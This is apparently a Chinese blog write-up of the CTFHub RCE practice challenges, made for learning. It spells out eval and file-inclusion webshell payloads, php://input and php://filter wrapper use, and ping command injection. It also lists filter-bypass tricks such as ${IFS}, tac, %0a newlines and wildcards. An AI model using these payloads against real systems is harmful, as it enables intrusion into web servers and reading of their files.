CTFHub 技能树rce

前言

        最近临近期末考试了,所以打算抽取时间来复习一下高数,线代,不然就要挂科了😭  后面难一些的地方后面再继续练习学习。但是学习也不能停搁,周六学校的战队也要进行纳新面试了,因此那就借CTFHub技能树,综合做一下刚开始学习时的一些基础漏洞,也算是回顾复习一下🐱‍👤

(1) eval执行

eval()函数

eval()函数中的eval是evaluate的简称,这个函数的作用就是把一段字符串当作PHP语句来执行

 <?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?> 

这里只是简单让我们理解一下eval函数,并没有对我们get传入的cmd进行过滤。因此我们可以直接传入我们的命令:

 进行ls /查看根目录文件,发现 flag_8215

传入 cat 命令,得到flag。

(2) 文件包含

 题目提示 i have a shell, how to use it?

可知shell文件是shell.txt 我们包含shell.txt文件 就可以用eval()函数执行任意命令

<?php eval($_REQUEST['ctfhub']);?>

传入?file=shell.txt&ctfhub=system('ls');

再传入cat /flag 得到flag。

(3) php://input

看题目就知道,是考察我们对php伪协议的理解

之前文章里有提到过。

 我们在phpinfo()界面里发现 allow_url_include on

php://input

用法: 可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行.

因此可以用php://input 来执行post输入流的命令

<?php
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);  //危险函数
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>

不知道为什么hackbar没有反应。那就抓包到burp

发现flag文件  flag_21263

再改为cat /flag_21263 得到flag。

(4) 读取源代码(php://filter)

和上一题一样,也是考察我们对php伪协议的了解。

我们可以通过filter协议来读取网页源代码。

题目提示 flag in /flag   flag在/flag文件

?file=php://filter/read=convert.base64-encode/resource=/flag

base64解码,得到flag。

(5) 远程包含(php://input)

远程文件包含:

        指定第三方服务器上可运行的php木马,拿到webshell,查看Flag文件。

 phpinfo()发现,allow_url_fopen 和include都on,存在远程文件包含.

1. 命令执行

和上一题一样 php://input

 cat /flag  得到flag。

2. 远程文件包含

具体就是这个图片酱紫,我也没搞 ,就这样吧

(6) 命令注入(ping 管道符)

ping 命令可以测一下与主机网络联通情况。但是如果过滤不严的话,也会导致恶意命令执行。

可以用管道符 来执行我们想执行的命令。

传入 127.0.0.1 | ls

 16579554914493.php 有点奇怪,估计藏有flag

传入 127.0.0.1 | cat 16579554914493.php

什么也看不见,但是查看源码,就发现了flag。

(7) 过滤cat

老办法,管道符执行我们命令之后,可知

flag 在当前目录的 flag_7709325353056.php文件里

不过看源码可知,flag被过滤了。可以用tac绕过 (head,tail,nl,vim,less,more等等都可以)

传入 127.0.0.1 | tac flag_7709325353056.php

查看源代码,发现flag

(8) 过滤空格

老办法,管道符执行我们命令之后,可知

flag 在当前目录的 flag_628186223836.php 文件里

想cat flag_628186223836.php  但是空格被过滤了,怎么办呢?

空格过滤绕过:

${IFS}

$IFS$9

%09

%20

<>

<

可以尝试上面绕过空格。

传入 127.0.0.1|cat${IFS}flag_628186223836.php

ctrl+u 得到flag

(9) 过滤目录分隔符

老办法,管道符执行我们命令之后,可知

flag 目录为:  flag_is_here

一般读取文件,cat+路径就读取了,但是现在目录分隔符 / 被过滤了。

我没有遇到过可以代替的字符,应该是没有。

但是我们可以通过改变当前目录路径来 达到 不用/ 直接cat 的效果。

我们使用cd命令进入到flag文件目录。

?ip=127.0.0.1 & cd flag_is_here;ls

发现可行,flag文件为: flag_17021187548410.php

?ip=127.0.0.1 & cd flag_is_here;cat flag_17021187548410.php

查看源代码,得到flag

(10) 过滤运算符

题目对管道符 | & || &&,进行了过滤,哎呀老办法行不通了

但是呢我们可以不用管道符,也能执行命令,怎么办呢?

传入 ;ls

 得到 flag文件为 flag_75881014828447.php

再传入 ;cat flag_75881014828447.php

查看源码,得到flag。

知识点:

出来 window&linux 都支持的前四个连接之外

linux 还支持 分号(;) cmd1;cmd2 按顺序执行,先执行cmd1 再执行cmd2

(11) 综合过滤练习

        最后一题了。前面几道题都帮助我们练习了各种过滤,协议使用方法。难一点的题目经常会考察的全面,不只是一个知识点。所以我们来看一下这道综合过滤练习如何,尝试用我们前面积累的方法来绕过。

if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } 

看源码,发现 连接符,分号,空格,cat, flag,ctfhub都被过滤了。

好机会,感情前面学到的都没了。没办法了吗? 肯定有的。

url编码里 %0a代表换行  %0d 代表回车

;被过滤了的话,试着用%0A换行代替一下

构造:?ip=127.0.0.1%0Als

发现了flag目录 flag_is_here

这里我们就知道了。我们前面学到了 过滤目录分隔符读取flag文件  过滤空格绕过 这里就用上了

但是这里多过滤了一个flag  但是目录名里有,可以用*通配符来过滤

构造:?ip=127.0.0.1%0Acd${IFS}fl*_is_here%0Als

 得到了flag文件为 flag_315501262911277.php

cat 被过滤了 又用到我们前面学过的 如何绕过cat过滤 *通配符绕过flag过滤 了

构造:?ip=127.0.0.1%0Acd${IFS}fl*_is_here%0Atac${IFS}fl*_315501262911277.php

查看源码,得到flag。

Ending

 至此 CTFHub技能书的RCE方面也就结束了。

花了近两个小时边做边写wp,做完之后感觉难度还可以,收获挺大的,借此回忆了一下以前学到的rce命令执行方面的一些知识点。(个人比较cai,有些地方写错的话希望大家谅解,帮忙指正)

后续有时间的话,再详细整理一下rce相关的各种绕过,思路等等。

总之 不断学习吧,希望周六的面试可以如意🧐

  • 3
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值